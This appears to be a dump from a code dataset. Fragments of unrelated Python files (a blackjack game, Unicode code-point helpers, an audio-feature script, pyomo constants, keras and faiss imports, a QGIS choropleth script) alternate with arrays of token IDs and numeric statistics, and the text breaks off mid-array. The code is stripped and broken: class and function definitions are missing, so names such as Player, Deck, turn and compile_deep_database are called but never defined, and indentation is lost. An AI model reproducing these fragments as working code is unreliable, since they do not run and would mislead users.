834,
10354,
198,
220,
220,
220,
1388,
3419,
198
] | 2.125 | 24 |
#'random' library import
import random
#rank list & suit dictionary
cardranks = ["Clubs", "Diamonds", "Hearts", "Spades"]
cardsuits = {"Ace":11, "One":1, "Two":2, "Three":3, "Four":4, "Five":5, "Six":6, "Seven":7, "Eight":8, "Nine":9, "Ten":10, "Jack":10, "Queen":10, "King":10}
#player class w/ public attributes
#deck class generates every possible card within the deck, appending each possiblity to a list
#dealing method assigns a random card at the beginning to each player
#card class
#return string representation, nice way of doing this.
#Input verification and looping to ensure correct input
#lol
#player name input request
player1 = Player(input("Player 1, enter your name. : "))
player2 = Player(input("Player 2, enter your name. : "))
#deck object is formed
deck = Deck()
print(f"I will now deal your initial cards, {player1.name} and {player2.name}.\n")
#first 2 random cards are generated for both players
deck.deal(player1)
deck.deal(player2)
print(f"Good luck, players.\n")
while True:
turn(player1)
turn(player2)
#!!!!!!!!!Adjust the code so that player has a hand object instead of player having a list for cards.!!!!!!!!!
#Settings n getters
| [
2,
6,
25120,
6,
5888,
1330,
198,
11748,
4738,
198,
2,
43027,
1351,
1222,
6050,
22155,
198,
9517,
81,
2283,
796,
14631,
2601,
23161,
1600,
366,
47710,
82,
1600,
366,
1544,
5889,
1600,
366,
4561,
2367,
8973,
198,
27761,
15379,
796,
19779,
32,
344,
1298,
1157,
11,
366,
3198,
1298,
16,
11,
366,
7571,
1298,
17,
11,
366,
12510,
1298,
18,
11,
366,
15137,
1298,
19,
11,
366,
20029,
1298,
20,
11,
366,
21447,
1298,
21,
11,
366,
31334,
1298,
22,
11,
366,
29571,
1298,
23,
11,
366,
37603,
1298,
24,
11,
366,
24893,
1298,
940,
11,
366,
14295,
1298,
940,
11,
366,
32466,
1298,
940,
11,
366,
15708,
1298,
940,
92,
198,
198,
2,
7829,
1398,
266,
14,
1171,
12608,
198,
198,
2,
35875,
1398,
18616,
790,
1744,
2657,
1626,
262,
6203,
11,
598,
1571,
1123,
1184,
10506,
414,
284,
257,
1351,
628,
220,
220,
220,
1303,
67,
26919,
2446,
46974,
257,
4738,
2657,
379,
262,
3726,
284,
1123,
2137,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
198,
198,
2,
9517,
1398,
628,
220,
220,
220,
1303,
7783,
4731,
10552,
11,
3621,
835,
286,
1804,
428,
13,
198,
198,
2,
20560,
19637,
290,
9052,
278,
284,
4155,
3376,
5128,
198,
2,
47288,
198,
198,
2,
7829,
1438,
5128,
2581,
198,
7829,
16,
796,
7853,
7,
15414,
7203,
14140,
352,
11,
3802,
534,
1438,
13,
1058,
366,
4008,
198,
7829,
17,
796,
7853,
7,
15414,
7203,
14140,
362,
11,
3802,
534,
1438,
13,
1058,
366,
4008,
198,
2,
35875,
2134,
318,
7042,
198,
35875,
796,
20961,
3419,
198,
198,
4798,
7,
69,
1,
40,
481,
783,
1730,
534,
4238,
4116,
11,
1391,
7829,
16,
13,
3672,
92,
290,
1391,
7829,
17,
13,
3672,
27422,
59,
77,
4943,
198,
2,
11085,
362,
4738,
4116,
389,
7560,
329,
1111,
1938,
198,
35875,
13,
31769,
7,
7829,
16,
8,
198,
35875,
13,
31769,
7,
7829,
17,
8,
198,
4798,
7,
69,
1,
10248,
8458,
11,
1938,
13,
59,
77,
4943,
198,
198,
4514,
6407,
25,
198,
220,
220,
220,
1210,
7,
7829,
16,
8,
198,
220,
220,
220,
1210,
7,
7829,
17,
8,
198,
198,
2,
13896,
50184,
39668,
262,
2438,
523,
326,
2137,
468,
257,
1021,
2134,
2427,
286,
2137,
1719,
257,
1351,
329,
4116,
13,
13896,
50184,
198,
198,
2,
26232,
299,
651,
1010,
198
] | 3.076726 | 391 |
#
# Copyright (c), 2016-2020, SISSA (International School for Advanced Studies).
# All rights reserved.
# This file is distributed under the terms of the MIT License.
# See the file 'LICENSE' in the root directory of the present
# distribution, or http://opensource.org/licenses/MIT.
#
# @author Davide Brunato <[email protected]>
#
"""
This module defines Unicode code points helper functions.
"""
from sys import maxunicode
from typing import Iterable, Iterator, Optional, Set, Tuple, Union
CHARACTER_CLASS_ESCAPED: Set[int] = {ord(c) for c in r'-|.^?*+{}()[]\\'}
"""Code Points of escaped chars in a character class."""
CodePoint = Union[int, Tuple[int, int]]
def code_point_order(cp: CodePoint) -> int:
"""Ordering function for code points."""
return cp if isinstance(cp, int) else cp[0]
def code_point_reverse_order(cp: CodePoint) -> int:
"""Reverse ordering function for code points."""
return cp if isinstance(cp, int) else cp[1] - 1
def iter_code_points(code_points: Iterable[CodePoint], reverse=False) -> Iterator[CodePoint]:
"""
Iterates a code points sequence. Three ore more consecutive
code points are merged in a range.
:param code_points: an iterable with code points and code point ranges.
:param reverse: if `True` reverses the order of the sequence.
:return: yields code points or code point ranges.
"""
start_cp = end_cp = 0
if reverse:
code_points = sorted(code_points, key=code_point_reverse_order, reverse=True)
else:
code_points = sorted(code_points, key=code_point_order)
for cp in code_points:
if isinstance(cp, int):
cp = cp, cp + 1
if not end_cp:
start_cp, end_cp = cp
continue
elif reverse:
if start_cp <= cp[1]:
start_cp = min(start_cp, cp[0])
continue
elif end_cp >= cp[0]:
end_cp = max(end_cp, cp[1])
continue
if end_cp > start_cp + 1:
yield start_cp, end_cp
else:
yield start_cp
start_cp, end_cp = cp
else:
if end_cp:
if end_cp > start_cp + 1:
yield start_cp, end_cp
else:
yield start_cp
def get_code_point_range(cp: CodePoint) -> Optional[CodePoint]:
"""
Returns a code point range.
:param cp: a single code point or a code point range.
:return: a code point range or `None` if the argument is not a \
code point or a code point range.
"""
if isinstance(cp, int):
if 0 <= cp <= maxunicode:
return cp, cp + 1
else:
try:
if isinstance(cp[0], int) and isinstance(cp[1], int):
if 0 <= cp[0] < cp[1] <= maxunicode + 1:
return cp
except (IndexError, TypeError):
pass
return None
def code_point_repr(cp: CodePoint) -> str:
"""
Returns the string representation of a code point.
:param cp: an integer or a tuple with at least two integers. \
Values must be in interval [0, sys.maxunicode].
"""
if isinstance(cp, int):
if cp in CHARACTER_CLASS_ESCAPED:
return r'\%s' % chr(cp)
return chr(cp)
if cp[0] in CHARACTER_CLASS_ESCAPED:
start_char = r'\%s' % chr(cp[0])
else:
start_char = chr(cp[0])
end_cp = cp[1] - 1 # Character ranges include the right bound
if end_cp in CHARACTER_CLASS_ESCAPED:
end_char = r'\%s' % chr(end_cp)
else:
end_char = chr(end_cp)
if end_cp > cp[0] + 1:
return '%s-%s' % (start_char, end_char)
else:
return start_char + end_char
| [
2,
198,
2,
15069,
357,
66,
828,
1584,
12,
42334,
11,
311,
1797,
4090,
357,
24274,
3961,
329,
13435,
10422,
737,
198,
2,
1439,
2489,
10395,
13,
198,
2,
770,
2393,
318,
9387,
739,
262,
2846,
286,
262,
17168,
13789,
13,
198,
2,
4091,
262,
2393,
705,
43,
2149,
24290,
6,
287,
262,
6808,
8619,
286,
262,
1944,
198,
2,
6082,
11,
393,
2638,
1378,
44813,
1668,
13,
2398,
14,
677,
4541,
14,
36393,
13,
198,
2,
198,
2,
2488,
9800,
2544,
485,
15700,
5549,
1279,
1671,
403,
5549,
31,
82,
13808,
13,
270,
29,
198,
2,
198,
37811,
198,
1212,
8265,
15738,
34371,
2438,
2173,
31904,
5499,
13,
198,
37811,
198,
6738,
25064,
1330,
3509,
46903,
1098,
198,
6738,
19720,
1330,
40806,
540,
11,
40806,
1352,
11,
32233,
11,
5345,
11,
309,
29291,
11,
4479,
198,
198,
38019,
2246,
5781,
62,
31631,
62,
1546,
33177,
1961,
25,
5345,
58,
600,
60,
796,
1391,
585,
7,
66,
8,
329,
269,
287,
374,
6,
22831,
13,
61,
30,
9,
10,
90,
92,
3419,
21737,
6852,
6,
92,
198,
37811,
10669,
11045,
286,
13537,
34534,
287,
257,
2095,
1398,
526,
15931,
198,
198,
10669,
12727,
796,
4479,
58,
600,
11,
309,
29291,
58,
600,
11,
493,
11907,
628,
198,
4299,
2438,
62,
4122,
62,
2875,
7,
13155,
25,
6127,
12727,
8,
4613,
493,
25,
198,
220,
220,
220,
37227,
18743,
278,
2163,
329,
2438,
2173,
526,
15931,
198,
220,
220,
220,
1441,
31396,
611,
318,
39098,
7,
13155,
11,
493,
8,
2073,
31396,
58,
15,
60,
628,
198,
4299,
2438,
62,
4122,
62,
50188,
62,
2875,
7,
13155,
25,
6127,
12727,
8,
4613,
493,
25,
198,
220,
220,
220,
37227,
49,
964,
325,
16216,
2163,
329,
2438,
2173,
526,
15931,
198,
220,
220,
220,
1441,
31396,
611,
318,
39098,
7,
13155,
11,
493,
8,
2073,
31396,
58,
16,
60,
532,
352,
628,
198,
4299,
11629,
62,
8189,
62,
13033,
7,
8189,
62,
13033,
25,
40806,
540,
58,
10669,
12727,
4357,
9575,
28,
25101,
8,
4613,
40806,
1352,
58,
10669,
12727,
5974,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
40806,
689,
257,
2438,
2173,
8379,
13,
7683,
23751,
517,
12785,
198,
220,
220,
220,
2438,
2173,
389,
23791,
287,
257,
2837,
13,
628,
220,
220,
220,
1058,
17143,
2438,
62,
13033,
25,
281,
11629,
540,
351,
2438,
2173,
290,
2438,
966,
16069,
13,
198,
220,
220,
220,
1058,
17143,
9575,
25,
611,
4600,
17821,
63,
10372,
274,
262,
1502,
286,
262,
8379,
13,
198,
220,
220,
220,
1058,
7783,
25,
19299,
2438,
2173,
393,
2438,
966,
16069,
13,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
923,
62,
13155,
796,
886,
62,
13155,
796,
657,
198,
220,
220,
220,
611,
9575,
25,
198,
220,
220,
220,
220,
220,
220,
220,
2438,
62,
13033,
796,
23243,
7,
8189,
62,
13033,
11,
1994,
28,
8189,
62,
4122,
62,
50188,
62,
2875,
11,
9575,
28,
17821,
8,
198,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
2438,
62,
13033,
796,
23243,
7,
8189,
62,
13033,
11,
1994,
28,
8189,
62,
4122,
62,
2875,
8,
628,
220,
220,
220,
329,
31396,
287,
2438,
62,
13033,
25,
198,
220,
220,
220,
220,
220,
220,
220,
611,
318,
39098,
7,
13155,
11,
493,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
31396,
796,
31396,
11,
31396,
1343,
352,
628,
220,
220,
220,
220,
220,
220,
220,
611,
407,
886,
62,
13155,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
923,
62,
13155,
11,
886,
62,
13155,
796,
31396,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2555,
198,
220,
220,
220,
220,
220,
220,
220,
1288,
361,
9575,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
923,
62,
13155,
19841,
31396,
58,
16,
5974,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
923,
62,
13155,
796,
949,
7,
9688,
62,
13155,
11,
31396,
58,
15,
12962,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2555,
198,
220,
220,
220,
220,
220,
220,
220,
1288,
361,
886,
62,
13155,
18189,
31396,
58,
15,
5974,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
886,
62,
13155,
796,
3509,
7,
437,
62,
13155,
11,
31396,
58,
16,
12962,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2555,
628,
220,
220,
220,
220,
220,
220,
220,
611,
886,
62,
13155,
1875,
923,
62,
13155,
1343,
352,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7800,
923,
62,
13155,
11,
886,
62,
13155,
198,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7800,
923,
62,
13155,
198,
220,
220,
220,
220,
220,
220,
220,
923,
62,
13155,
11,
886,
62,
13155,
796,
31396,
198,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
611,
886,
62,
13155,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
886,
62,
13155,
1875,
923,
62,
13155,
1343,
352,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7800,
923,
62,
13155,
11,
886,
62,
13155,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
7800,
923,
62,
13155,
628,
198,
4299,
651,
62,
8189,
62,
4122,
62,
9521,
7,
13155,
25,
6127,
12727,
8,
4613,
32233,
58,
10669,
12727,
5974,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
16409,
257,
2438,
966,
2837,
13,
628,
220,
220,
220,
1058,
17143,
31396,
25,
257,
2060,
2438,
966,
393,
257,
2438,
966,
2837,
13,
198,
220,
220,
220,
1058,
7783,
25,
257,
2438,
966,
2837,
393,
4600,
14202,
63,
611,
262,
4578,
318,
407,
257,
3467,
198,
220,
220,
220,
2438,
966,
393,
257,
2438,
966,
2837,
13,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
611,
318,
39098,
7,
13155,
11,
493,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
611,
657,
19841,
31396,
19841,
3509,
46903,
1098,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
31396,
11,
31396,
1343,
352,
198,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1949,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
318,
39098,
7,
13155,
58,
15,
4357,
493,
8,
290,
318,
39098,
7,
13155,
58,
16,
4357,
493,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
657,
19841,
31396,
58,
15,
60,
1279,
31396,
58,
16,
60,
19841,
3509,
46903,
1098,
1343,
352,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
31396,
198,
220,
220,
220,
220,
220,
220,
220,
2845,
357,
15732,
12331,
11,
5994,
12331,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1208,
628,
220,
220,
220,
1441,
6045,
628,
198,
4299,
2438,
62,
4122,
62,
260,
1050,
7,
13155,
25,
6127,
12727,
8,
4613,
965,
25,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
16409,
262,
4731,
10552,
286,
257,
2438,
966,
13,
628,
220,
220,
220,
1058,
17143,
31396,
25,
281,
18253,
393,
257,
46545,
351,
379,
1551,
734,
37014,
13,
3467,
198,
220,
220,
220,
27068,
1276,
307,
287,
16654,
685,
15,
11,
25064,
13,
9806,
46903,
1098,
4083,
198,
220,
220,
220,
37227,
198,
220,
220,
220,
611,
318,
39098,
7,
13155,
11,
493,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
611,
31396,
287,
28521,
2246,
5781,
62,
31631,
62,
1546,
33177,
1961,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1441,
374,
6,
59,
4,
82,
6,
4064,
442,
81,
7,
13155,
8,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
442,
81,
7,
13155,
8,
628,
220,
220,
220,
611,
31396,
58,
15,
60,
287,
28521,
2246,
5781,
62,
31631,
62,
1546,
33177,
1961,
25,
198,
220,
220,
220,
220,
220,
220,
220,
923,
62,
10641,
796,
374,
6,
59,
4,
82,
6,
4064,
442,
81,
7,
13155,
58,
15,
12962,
198,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
923,
62,
10641,
796,
442,
81,
7,
13155,
58,
15,
12962,
628,
220,
220,
220,
886,
62,
13155,
796,
31396,
58,
16,
60,
532,
352,
220,
1303,
15684,
16069,
2291,
262,
826,
5421,
198,
220,
220,
220,
611,
886,
62,
13155,
287,
28521,
2246,
5781,
62,
31631,
62,
1546,
33177,
1961,
25,
198,
220,
220,
220,
220,
220,
220,
220,
886,
62,
10641,
796,
374,
6,
59,
4,
82,
6,
4064,
442,
81,
7,
437,
62,
13155,
8,
198,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
886,
62,
10641,
796,
442,
81,
7,
437,
62,
13155,
8,
628,
220,
220,
220,
611,
886,
62,
13155,
1875,
31396,
58,
15,
60,
1343,
352,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
705,
4,
82,
12,
4,
82,
6,
4064,
357,
9688,
62,
10641,
11,
886,
62,
10641,
8,
198,
220,
220,
220,
2073,
25,
198,
220,
220,
220,
220,
220,
220,
220,
1441,
923,
62,
10641,
1343,
886,
62,
10641,
198
] | 2.319069 | 1,589 |
import argparse
import torch
from torch.utils.data import DataLoader
import sys, os
sys.path.insert(0, os.path.join(
os.path.dirname(os.path.realpath(__file__)), "../../"))
from deep_audio_features.dataloading.dataloading import FeatureExtractorDataset
from deep_audio_features.lib.training import test
from deep_audio_features.utils.model_editing import drop_layers
from deep_audio_features.bin.basic_test import test_model
import deep_audio_features.bin.config
import os
import glob
import numpy as np
import pickle
if __name__ == '__main__':
# Read arguments
parser = argparse.ArgumentParser()
parser.add_argument('-m', '--model_dir', required=True,
type=str, help='Dir of models')
parser.add_argument('-i', '--input', required=True,
type=str, help='Input file for testing')
args = parser.parse_args()
model_dir = args.model_dir
ifile = args.input
compile_deep_database(ifile, model_dir, "db")
| [
11748,
1822,
29572,
198,
11748,
28034,
198,
6738,
28034,
13,
26791,
13,
7890,
1330,
6060,
17401,
198,
11748,
25064,
11,
28686,
198,
17597,
13,
6978,
13,
28463,
7,
15,
11,
28686,
13,
6978,
13,
22179,
7,
198,
220,
220,
220,
28686,
13,
6978,
13,
15908,
3672,
7,
418,
13,
6978,
13,
5305,
6978,
7,
834,
7753,
834,
36911,
366,
40720,
492,
30487,
4008,
198,
6738,
2769,
62,
24051,
62,
40890,
13,
67,
10254,
1170,
278,
13,
67,
10254,
1170,
278,
1330,
27018,
11627,
40450,
27354,
292,
316,
198,
6738,
2769,
62,
24051,
62,
40890,
13,
8019,
13,
34409,
1330,
1332,
198,
6738,
2769,
62,
24051,
62,
40890,
13,
26791,
13,
19849,
62,
276,
1780,
1330,
4268,
62,
75,
6962,
198,
6738,
2769,
62,
24051,
62,
40890,
13,
8800,
13,
35487,
62,
9288,
1330,
1332,
62,
19849,
198,
11748,
2769,
62,
24051,
62,
40890,
13,
8800,
13,
11250,
198,
11748,
28686,
198,
11748,
15095,
198,
11748,
299,
32152,
355,
45941,
198,
11748,
2298,
293,
628,
628,
198,
198,
361,
11593,
3672,
834,
6624,
705,
834,
12417,
834,
10354,
198,
220,
220,
220,
1303,
4149,
7159,
198,
220,
220,
220,
30751,
796,
1822,
29572,
13,
28100,
1713,
46677,
3419,
198,
220,
220,
220,
30751,
13,
2860,
62,
49140,
10786,
12,
76,
3256,
705,
438,
19849,
62,
15908,
3256,
2672,
28,
17821,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2099,
28,
2536,
11,
1037,
11639,
35277,
286,
4981,
11537,
198,
220,
220,
220,
30751,
13,
2860,
62,
49140,
10786,
12,
72,
3256,
705,
438,
15414,
3256,
2672,
28,
17821,
11,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2099,
28,
2536,
11,
1037,
11639,
20560,
2393,
329,
4856,
11537,
198,
220,
220,
220,
26498,
796,
30751,
13,
29572,
62,
22046,
3419,
198,
220,
220,
220,
2746,
62,
15908,
796,
26498,
13,
19849,
62,
15908,
198,
220,
220,
220,
611,
576,
796,
26498,
13,
15414,
628,
220,
220,
220,
17632,
62,
22089,
62,
48806,
7,
361,
576,
11,
2746,
62,
15908,
11,
366,
9945,
4943,
198
] | 2.696721 | 366 |
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
__author__ = 'Chao Wu'
R = 8.315e-3 # gas constant in kJ/mol/K
T = 298.15 # absolute temperature in K, or 25 C
K = 10000 # big enough constant
defaultMW = 40 # default enzyme molecular weight in kDa
defaultKcat = 200 # default reaction catalytic rate constant in 1/s
defaultKm = 0.2 # default reactant Michaelis constant in mM
maxIter = 100000
import re
import numpy as np
from pyomo.environ import (ConcreteModel, Set, Param, Var, Objective, Constraint, SolverFactory,
NonNegativeReals, Binary, value, maximize, minimize, log, exp)
from .result import FBAResults, TFBAResults, ETFBAResults
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
2,
532,
9,
12,
19617,
25,
41002,
12,
23,
532,
9,
12,
628,
198,
834,
9800,
834,
796,
705,
1925,
5488,
18027,
6,
628,
198,
198,
49,
796,
807,
13,
27936,
68,
12,
18,
197,
197,
2,
3623,
6937,
287,
479,
41,
14,
43132,
14,
42,
198,
51,
796,
37576,
13,
1314,
197,
197,
197,
2,
4112,
5951,
287,
509,
11,
393,
1679,
327,
198,
42,
796,
33028,
197,
197,
197,
2,
1263,
1576,
6937,
198,
12286,
14326,
796,
2319,
197,
197,
2,
4277,
27679,
18955,
3463,
287,
479,
26531,
198,
12286,
42,
9246,
796,
939,
197,
2,
4277,
6317,
36745,
13370,
2494,
6937,
287,
352,
14,
82,
198,
12286,
42,
76,
796,
657,
13,
17,
197,
197,
2,
4277,
6324,
415,
3899,
271,
6937,
287,
47676,
198,
9806,
29993,
796,
1802,
830,
628,
628,
198,
11748,
302,
198,
11748,
299,
32152,
355,
45941,
198,
6738,
12972,
17902,
13,
268,
2268,
1330,
357,
3103,
38669,
17633,
11,
5345,
11,
25139,
11,
12372,
11,
37092,
11,
1482,
2536,
2913,
11,
4294,
332,
22810,
11,
198,
197,
197,
197,
197,
197,
197,
220,
220,
8504,
32863,
876,
3041,
874,
11,
45755,
11,
1988,
11,
20487,
11,
17775,
11,
2604,
11,
1033,
8,
198,
6738,
764,
20274,
1330,
13186,
1503,
274,
8376,
11,
24958,
33,
1503,
274,
8376,
11,
31112,
33,
1503,
274,
8376,
628,
628,
197,
198,
197,
628,
197,
197,
628,
198,
197,
197,
628
] | 2.794239 | 243 |
import numpy as np
from keras import backend as K
from keras.models import Sequential
from keras.layers import Dense, Bidirectional, LSTM, GRU
from keras.optimizers import Adam
from keras.callbacks import EarlyStopping
from keras.layers import Conv1D, MaxPooling1D
from time import time
import pandas as pd
# convert an array of values into a dataset matrix
| [
11748,
299,
32152,
355,
45941,
198,
6738,
41927,
292,
1330,
30203,
355,
509,
198,
6738,
41927,
292,
13,
27530,
1330,
24604,
1843,
198,
6738,
41927,
292,
13,
75,
6962,
1330,
360,
1072,
11,
43484,
4154,
282,
11,
406,
2257,
44,
11,
10863,
52,
198,
6738,
41927,
292,
13,
40085,
11341,
1330,
7244,
198,
6738,
41927,
292,
13,
13345,
10146,
1330,
12556,
1273,
33307,
198,
6738,
41927,
292,
13,
75,
6962,
1330,
34872,
16,
35,
11,
5436,
27201,
278,
16,
35,
198,
6738,
640,
1330,
640,
198,
11748,
19798,
292,
355,
279,
67,
628,
198,
2,
10385,
281,
7177,
286,
3815,
656,
257,
27039,
17593,
198
] | 3.428571 | 105 |
# -- python --
import cv2,tqdm,copy
import numpy as np
import unittest
import tempfile
import sys
from einops import rearrange
import shutil
from pathlib import Path
from easydict import EasyDict as edict
# -- vision --
from PIL import Image
# -- linalg --
import torch as th
import numpy as np
# -- package helper imports --
from faiss.contrib import kn3
from faiss.contrib import testing
# -- check if reordered --
from scipy import optimize
SAVE_DIR = Path("./output/tests/")
#
#
# -- Primary Testing Class --
#
#
PYTEST_OUTPUT = Path("./pytests/output/")
#
# -- Load Data --
#
#
# -- [Exec] Sim Search --
#
| [
198,
2,
1377,
21015,
1377,
198,
11748,
269,
85,
17,
11,
83,
80,
36020,
11,
30073,
198,
11748,
299,
32152,
355,
45941,
198,
11748,
555,
715,
395,
198,
11748,
20218,
7753,
198,
11748,
25064,
198,
6738,
304,
259,
2840,
1330,
37825,
858,
198,
11748,
4423,
346,
198,
6738,
3108,
8019,
1330,
10644,
198,
6738,
2562,
11600,
1330,
16789,
35,
713,
355,
1225,
713,
198,
198,
2,
1377,
5761,
1377,
198,
6738,
350,
4146,
1330,
7412,
198,
198,
2,
1377,
300,
1292,
70,
1377,
198,
11748,
28034,
355,
294,
198,
11748,
299,
32152,
355,
45941,
198,
198,
2,
1377,
5301,
31904,
17944,
1377,
198,
6738,
24685,
747,
13,
3642,
822,
1330,
638,
18,
198,
6738,
24685,
747,
13,
3642,
822,
1330,
4856,
198,
198,
2,
1377,
2198,
611,
302,
24071,
1377,
198,
6738,
629,
541,
88,
1330,
27183,
198,
4090,
6089,
62,
34720,
796,
10644,
7,
1911,
14,
22915,
14,
41989,
14,
4943,
198,
198,
2,
198,
2,
198,
2,
1377,
21087,
23983,
5016,
1377,
198,
2,
198,
2,
198,
47,
56,
51,
6465,
62,
2606,
7250,
3843,
796,
10644,
7,
1911,
14,
9078,
41989,
14,
22915,
14,
4943,
628,
198,
220,
220,
220,
1303,
198,
220,
220,
220,
1303,
1377,
8778,
6060,
1377,
198,
220,
220,
220,
1303,
628,
198,
220,
220,
220,
1303,
198,
220,
220,
220,
1303,
1377,
685,
23002,
60,
3184,
11140,
1377,
198,
220,
220,
220,
1303,
198
] | 2.780172 | 232 |
from PyQt4 import QtGui
zip_uri = '/vsizip/C:/Users/Ujaval/Downloads/tl_2013_06_tract.zip/tl_2013_06_tract.shp'
shp = QgsVectorLayer(zip_uri, 'tl_2013_06_tract', 'ogr')
QgsMapLayerRegistry.instance().addMapLayer(shp)
csv_uri = "file:///C:/Users/Ujaval/Downloads/ca_tracts_pop.csv?delimiter=,"
csv = QgsVectorLayer(csv_uri, "ca_tracts_pop", "delimitedtext")
QgsMapLayerRegistry.instance().addMapLayer(csv)
shpField='GEOID'
csvField='GEO.id2'
joinObject = QgsVectorJoinInfo()
joinObject.joinLayerId = csv.id()
joinObject.joinFieldName = csvField
joinObject.targetFieldName = shpField
joinObject.memoryCache = True
shp.addJoin(joinObject)
myColumn = 'ca_tracts_pop_D001 '
myRangeList = []
myOpacity = 1
ranges = []
myMin1 = 0.0
myMax1 = 3157.2
myLabel1 = 'Group 1'
myColor1 = QtGui.QColor('#f7fbff')
ranges.append((myMin1, myMax1, myLabel1, myColor1))
myMin2 = 3157.2
myMax2 = 4019.0
myLabel2 = 'Group 2'
myColor2 = QtGui.QColor('#c7dcef')
ranges.append((myMin2, myMax2, myLabel2, myColor2))
myMin3 = 4019.0
myMax3 = 4865.8
myLabel3 = 'Group 3'
myColor3 = QtGui.QColor('#72b2d7')
ranges.append((myMin3, myMax3, myLabel3, myColor3))
myMin4 = 4865.8
myMax4 = 5996.4
myLabel4 = 'Group 4'
myColor4 = QtGui.QColor('#2878b8')
ranges.append((myMin4, myMax4, myLabel4, myColor4))
myMin5 = 5996.4
myMax5 = 37452.0
myLabel5 = 'Group 5'
myColor5 = QtGui.QColor('#08306b')
ranges.append((myMin5, myMax5, myLabel5, myColor5))
for myMin, myMax, myLabel, myColor in ranges:
mySymbol = QgsSymbolV2.defaultSymbol(shp.geometryType())
mySymbol.setColor(myColor)
mySymbol.setAlpha(myOpacity)
myRange = QgsRendererRangeV2(myMin, myMax, mySymbol, myLabel)
myRangeList.append(myRange)
myRenderer = QgsGraduatedSymbolRendererV2('', myRangeList)
myRenderer.setMode(QgsGraduatedSymbolRendererV2.Quantile)
myRenderer.setClassAttribute(myColumn)
shp.setRendererV2(myRenderer)
| [
6738,
9485,
48,
83,
19,
1330,
33734,
8205,
72,
198,
13344,
62,
9900,
796,
31051,
14259,
528,
541,
14,
34,
14079,
14490,
14,
52,
73,
9226,
14,
10002,
82,
14,
28781,
62,
6390,
62,
3312,
62,
83,
974,
13,
13344,
14,
28781,
62,
6390,
62,
3312,
62,
83,
974,
13,
1477,
79,
6,
198,
1477,
79,
796,
220,
1195,
14542,
38469,
49925,
7,
13344,
62,
9900,
11,
705,
28781,
62,
6390,
62,
3312,
62,
83,
974,
3256,
705,
519,
81,
11537,
198,
48,
14542,
13912,
49925,
8081,
4592,
13,
39098,
22446,
2860,
13912,
49925,
7,
1477,
79,
8,
198,
198,
40664,
62,
9900,
796,
366,
7753,
1378,
14,
34,
14079,
14490,
14,
52,
73,
9226,
14,
10002,
82,
14,
6888,
62,
83,
974,
82,
62,
12924,
13,
40664,
30,
12381,
320,
2676,
28,
553,
198,
40664,
796,
1195,
14542,
38469,
49925,
7,
40664,
62,
9900,
11,
366,
6888,
62,
83,
974,
82,
62,
12924,
1600,
366,
12381,
320,
863,
5239,
4943,
198,
48,
14542,
13912,
49925,
8081,
4592,
13,
39098,
22446,
2860,
13912,
49925,
7,
40664,
8,
198,
198,
1477,
79,
15878,
11639,
38,
4720,
2389,
6,
198,
40664,
15878,
11639,
38,
4720,
13,
312,
17,
6,
198,
22179,
10267,
796,
1195,
14542,
38469,
18234,
12360,
3419,
198,
22179,
10267,
13,
22179,
49925,
7390,
796,
269,
21370,
13,
312,
3419,
198,
22179,
10267,
13,
22179,
15878,
5376,
796,
269,
21370,
15878,
198,
22179,
10267,
13,
16793,
15878,
5376,
796,
427,
79,
15878,
198,
22179,
10267,
13,
31673,
30562,
796,
6407,
198,
1477,
79,
13,
2860,
18234,
7,
22179,
10267,
8,
198,
198,
1820,
39470,
796,
705,
6888,
62,
83,
974,
82,
62,
12924,
62,
35,
8298,
705,
198,
1820,
17257,
8053,
796,
17635,
198,
1820,
18257,
4355,
796,
352,
198,
198,
